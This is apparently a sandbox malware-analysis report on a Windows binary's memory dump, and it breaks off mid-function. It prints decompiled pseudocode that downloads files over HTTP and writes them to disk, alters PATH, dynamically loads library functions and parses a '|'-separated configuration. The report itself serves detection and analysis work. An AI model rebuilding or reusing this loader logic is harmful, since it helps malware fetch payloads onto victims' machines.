Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 22.7, APIs: 18, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x899178
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x8991d8
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x899298
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x8991f0
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x899220
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x884408
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x885850
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x885710
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x899c70
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x899ce8
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x899ab8
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x885970
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x899c98
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x899b08
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,00884408), ref: 0040549C
lstrcat.KERNEL32(?,00885850), ref: 004054B0
lstrcat.KERNEL32(?,00899178), ref: 004054C4
lstrcat.KERNEL32(?,00884408), ref: 004054D7
lstrcat.KERNEL32(?,00885850), ref: 004054EB
lstrcat.KERNEL32(?,008991D8), ref: 004054FF
lstrcat.KERNEL32(?,00884408), ref: 00405512
lstrcat.KERNEL32(?,00885850), ref: 00405526
lstrcat.KERNEL32(?,00899298), ref: 0040553A
lstrcat.KERNEL32(?,00884408), ref: 0040554D
lstrcat.KERNEL32(?,00885850), ref: 00405561
lstrcat.KERNEL32(?,008991F0), ref: 00405575
lstrcat.KERNEL32(?,00884408), ref: 00405588
lstrcat.KERNEL32(?,00885850), ref: 0040559C
lstrcat.KERNEL32(?,00899220), ref: 004055B0
lstrcat.KERNEL32(?,00884408), ref: 004055C3
lstrcat.KERNEL32(?,00885850), ref: 004055D7
lstrcat.KERNEL32(?,00885710), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID:
API String ID: 3671864319-0
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BE4C, 0040BE4F

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,0089AE38), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,0089AD60), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,0089B4B8), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 18.1, APIs: 12, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x89a0f0
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x89a0f0
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x885970
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
					_t49 =  *0x41a2b0; // 0x89adf0
					_t21 =  *0x41a824; // 0x0
					 *0x41a81c = GetProcAddress(_t21, _t49);
					_t43 =  *0x41a628; // 0x89ad30
					_t50 =  *0x41a824; // 0x0
					 *0x41a840 = GetProcAddress(_t50, _t43);
					_t24 =  *0x41a1b4; // 0x89b7d8
					_t44 =  *0x41a824; // 0x0
					 *0x41a7ec = GetProcAddress(_t44, _t24);
					_t51 =  *0x41a12c; // 0x89ad78
					_t26 =  *0x41a824; // 0x0
					 *0x41a814 = GetProcAddress(_t26, _t51);
					_t45 =  *0x41a7b4; // 0x89b798
					_t52 =  *0x41a824; // 0x0
					 *0x41a828 = GetProcAddress(_t52, _t45);
					_t29 =  *0x41a358; // 0x89ace8
					_t46 =  *0x41a824; // 0x0
					 *0x41a80c = GetProcAddress(_t46, _t29);
				}
				if( *0x41a81c == 0 ||  *0x41a840 == 0 ||  *0x41a7ec == 0 ||  *0x41a828 == 0 ||  *0x41a80c == 0 ||  *0x41a814 == 0) {
					_v5016 = 0;
				} else {
					_v5016 = 1;
				}
				return _v5016;
			}

0x00407908
0x00407911
0x00000000
0x00407ab0
0x00407917
0x00407928
0x00407934
0x0040793e
0x0040794c
0x0040795d
0x0040796f
0x00407980
0x0040798d
0x00407994
0x004079a6
0x004079a6
0x004079ab
0x004079b8
0x004079c4
0x004079ca
0x004079d1
0x004079dd
0x004079e2
0x004079e9
0x004079f6
0x004079fb
0x00407a01
0x00407a0e
0x00407a13
0x00407a1a
0x00407a26
0x00407a2b
0x00407a32
0x00407a3f
0x00407a44
0x00407a4a
0x00407a57
0x00407a57
0x00407a63
0x00407a9e
0x00407a92
0x00407a92
0x00407a92
0x00000000

APIs

GetEnvironmentVariableA.KERNEL32(0089A0F0,0041B488,0000FFFF), ref: 0040792E
lstrcat.KERNEL32(?,0041B488), ref: 0040795D
lstrcat.KERNEL32(?,004191E8), ref: 0040796F
lstrcat.KERNEL32(?,00000000), ref: 00407980
SetEnvironmentVariableA.KERNEL32(0089A0F0,?), ref: 00407994
LoadLibraryA.KERNEL32(00885970), ref: 004079B2
GetProcAddress.KERNEL32(00000000,0089ADF0), ref: 004079D7
GetProcAddress.KERNEL32(00000000,0089AD30), ref: 004079F0
GetProcAddress.KERNEL32(00000000,0089B7D8), ref: 00407A08
GetProcAddress.KERNEL32(00000000,0089AD78), ref: 00407A20
GetProcAddress.KERNEL32(00000000,0089B798), ref: 00407A39
GetProcAddress.KERNEL32(00000000,0089ACE8), ref: 00407A51

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AddressProc$lstrcat$EnvironmentVariable$LibraryLoad
String ID:
API String ID: 570708976-0
Opcode ID: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction ID: 77b6c5c08cf9b7a4301e695bc4720b41c2074284124323e2e0bb79b02c60fe80
Opcode Fuzzy Hash: 7abf122d6e215ba9c63e42e8549cfde015a8d6489de665f1db2b59e3b6550401
Instruction Fuzzy Hash: FD4120B5616200DFC714EFA4ED48AEA37F4A708305F14C57AF105926A1C77C96A2CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00411720, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 198
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411720(void* _a4, signed int* _a8, intOrPtr* _a12, intOrPtr* _a16, signed int* _a20) {
				int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				struct _BY_HANDLE_FILE_INFORMATION _v72;
				long _v76;
				void _v80;
				void _v84;
				void _v88;
				signed short _v92;
				signed short _v96;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr* _t138;
				intOrPtr _t139;
				intOrPtr _t140;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t163;
				void* _t177;

				_v8 = GetFileInformationByHandle(_a4,  &_v72);
				if(_v8 == 0) {
					return 0x200;
				}
				_v16 = _v72.dwFileAttributes;
				_v12 = 0;
				if((_v16 & 0x00000001) != 0) {
					_v12 = _v12 | 0x00000001;
				}
				if((_v16 & 0x00000002) != 0) {
					_v12 = _v12 | 0x00000002;
				}
				if((_v16 & 0x00000004) != 0) {
					_v12 = _v12 | 0x00000004;
				}
				if((_v16 & 0x00000010) != 0) {
					_v12 = _v12 | 0x00000010;
				}
				if((_v16 & 0x00000020) != 0) {
					_v12 = _v12 | 0x00000020;
				}
				if((_v16 & 0x00000010) == 0) {
					_v12 = _v12 | 0x80000000;
				} else {
					_v12 = _v12 | 0x40000000;
				}
				_v12 = _v12 | 0x01000000;
				if((_v16 & 0x00000001) == 0) {
					_v12 = _v12 | 0x00800000;
				}
				_v76 = GetFileSize(_a4, 0);
				if(_v76 > 0x28) {
					SetFilePointer(_a4, 0, 0, 0);
					ReadFile(_a4,  &_v80, 2,  &_v20, 0);
					SetFilePointer(_a4, 0x24, 0, 0);
					ReadFile(_a4,  &_v84, 4,  &_v20, 0);
					if((_v80 & 0x0000ffff) == 0x54ad && _v76 > _v84 + 0x34) {
						SetFilePointer(_a4, _v84, 0, 0);
						ReadFile(_a4,  &_v88, 4,  &_v20, 0);
						if(_v88 == 0x5a4d || _v88 == 0x454e || _v88 == 0x454c || _v88 == 0x4550) {
							_v12 = _v12 | 0x00400000;
						}
					}
				}
				if(_a8 != 0) {
					 *_a8 = _v12;
				}
				if(_a12 != 0) {
					 *_a12 = _v76;
				}
				if(_a16 != 0) {
					_t161 = _v72.ftLastAccessTime;
					_t103 = E00411630(_t161, _v56);
					_t138 = _a16;
					 *_t138 = _t103;
					 *((intOrPtr*)(_t138 + 4)) = _t161;
					_t162 = _v48;
					_t105 = E00411630(_v72.ftLastWriteTime, _t162);
					_t139 = _a16;
					 *((intOrPtr*)(_t139 + 8)) = _t105;
					 *((intOrPtr*)(_t139 + 0xc)) = _t162;
					_t163 = _v64;
					_t107 = E00411630(_v72.ftCreationTime, _t163);
					_t177 = _t177 + 0x18;
					_t140 = _a16;
					 *((intOrPtr*)(_t140 + 0x10)) = _t107;
					 *((intOrPtr*)(_t140 + 0x14)) = _t163;
				}
				if(_a20 != 0) {
					E00411670(_v72.ftLastWriteTime, _v48,  &_v96,  &_v92);
					 *_a20 = _v92 & 0x0000ffff | (_v96 & 0x0000ffff) << 0x00000010;
				}
				return 0;
			}

0x00411734
0x0041173b
0x00000000
0x0041173d
0x0041174a
0x0041174d
0x0041175a
0x00411762
0x00411762
0x0041176b
0x00411773
0x00411773
0x0041177c
0x00411784
0x00411784
0x0041178d
0x00411795
0x00411795
0x0041179e
0x004117a6
0x004117a6
0x004117af
0x004117c7
0x004117b1
0x004117ba
0x004117ba
0x004117d3
0x004117dc
0x004117e8
0x004117e8
0x004117f7
0x004117fe
0x0041180e
0x00411824
0x00411834
0x0041184a
0x0041185a
0x00411873
0x00411889
0x00411896
0x004118bc
0x004118bc
0x00411896
0x0041185a
0x004118c3
0x004118cb
0x004118cb
0x004118d1
0x004118d9
0x004118d9
0x004118df
0x004118e5
0x004118e9
0x004118f1
0x004118f4
0x004118f6
0x004118f9
0x00411901
0x00411909
0x0041190c
0x0041190f
0x00411912
0x0041191a
0x0041191f
0x00411922
0x00411925
0x00411928
0x00411928
0x0041192f
0x00411941
0x00411959
0x00411959
0x00000000

APIs

GetFileInformationByHandle.KERNEL32(?,?), ref: 0041172E
GetFileSize.KERNEL32(00000000,00000000), ref: 004117F1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041180E
ReadFile.KERNEL32(00000000,?,00000002,?,00000000), ref: 00411824
SetFilePointer.KERNEL32(00000000,00000024,00000000,00000000), ref: 00411834
ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 0041184A
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 00411873

Strings

PE, xrefs: 004118AA
(, xrefs: 004117FA

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: File$Pointer$Read$HandleInformationSize
String ID: ($PE
API String ID: 4143101051-3347799738
Opcode ID: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction ID: e3637cdcc6502234263c20fa9ec7c337361675902c7ba39fe6a18ec050177dc1
Opcode Fuzzy Hash: 79a77e92f1a754c41c7a61d504a6995133a2ec26633485cc660dbe2cd85e25cc
Instruction Fuzzy Hash: 7C814AB5D10208ABEB04DFD4C885BEEBBB5FB48300F14C15AE615AB394D3349A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
				void* _t83;
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t119;
